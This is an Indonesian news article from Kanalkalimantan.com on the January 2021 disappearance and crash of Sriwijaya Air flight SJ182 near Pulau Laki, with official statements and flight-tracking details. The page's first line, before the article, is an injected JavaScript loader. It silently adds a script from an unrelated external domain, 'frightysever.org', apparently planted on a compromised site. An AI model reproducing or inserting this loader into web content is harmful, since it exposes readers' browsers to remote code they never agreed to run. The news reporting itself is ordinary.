(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Pesawat Sriwijaya Air jatuh di sekitar Pulau Laki, pada hari ini Sabtu (9/1/2021). Badan Nasional Pencarian dan Pertolongan (Basarnas) menuju lokasi titik pesawat saat hilang kotak.
“Basarnas sedang bergerak dengan semua unsur menuju area diperkirakan,” kata Kepala Basarnas Marsekal Madya TNI Bagus Puruhito.
Bagus Puruhito mengatakan belum mengetahui pasti penyebab pesawat tersebut jatuh. “Penyebabnya kami belum tahu ya,” kata dia.
Sementara itu, Dirjen Perhubungan Udara Kementerian Perhubungan, Novie Riyanto mengatakan pesawat tersebut hilang sekitar satu jam setelah take off.
Kemenhub, kata Novie, terus berkoordinasi dengan Badan Nasional Pencarian dan Pertolongan (Basarnas) serta Komisi Nasional Keselamatan Transportasi (KNKT) untuk menginvestigasi peristiwa itu.
Sebelumnya, Bupati Kepulauan Seribu Djunaedi mengatakan, pesawat Sriwijaya Air rute Jakarta-Pontianak jatuh di sekitar Pulau Laki. “Betul (di Pulau Laki),” ujar Djunaedi kepada Kompas.com, ketika dikonfirmasi, Sabtu (9/1/2021).
Djunaedi menyatakan bahwa ia menerima informasi tersebut dari pihak kelurahan setempat. Dari pihak kelurahan ia menerima informasi bahwa seorang nelayan bubu sempat melihat ledakan api dari peristiwa twrsebut, kemudian meminta tolong kepada warga sekitar. “Ya saya dapat informasi dari kelurahan dari nelayan bubu ada orang yang minta tolong, ada ledakan api di sekitar Pulau Laki,” lanjutnya.
Sriwijaya Air dengan nomor penerbangan SJ182 dan rute Jakarta-Pontianak dilaporkan hilang kontak, Sabtu (9/1/2021). Pesawat hilang dalam pantauan setelah tak lama lepas landas dari Bandara Internasional Soekarno-Hatta.
Dilihat dari laman flightradar24.com, pesawat itu lepas landas sekitar pukul 14.30 WIB. 10 menit berselang, pesawat sempat berada di ketinggian 10.900 kaki sebelum akhirnya diduga mengalami penurunan ketinggian secara drastis dalam waktu satu menit.
Data terakhir yang tercatat di flightradar24.com menunjukkan bahwa pesawat SJ182 terakhir terlihat di ketinggian 250 kaki. Lokasi terakhir pesawat itu berada di perairan Laut Jawa di atas Provinsi Banten. (Kanalkalimantan.com/inews)
Editor : Cell
KANALKALIMANTAN.COM, MARTAPURA - Bersama ulama para habaib dan masyarakat, Wakil Bupati Banjar Habib Idrus Al… Read More
KANALKALIMANTAN.COM, AMUNTAI - Berbaur dengan ribuan jemaah, Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) melakukan penyembelihan belasan hewan kurban pada Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan ibadah kurban Iduladha 1445 Hijriah di Banjarbaru menerapkan sistem ramah lingkungan.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momen ibadah kurban Iduladha 1445 hijriah menjadi ajang silaturahim dan gotong royong… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kabar duka datang dari Kloter 18 Haji Embarkasi Banjarmasin, seorang jemaah haji… Read More
This website uses cookies.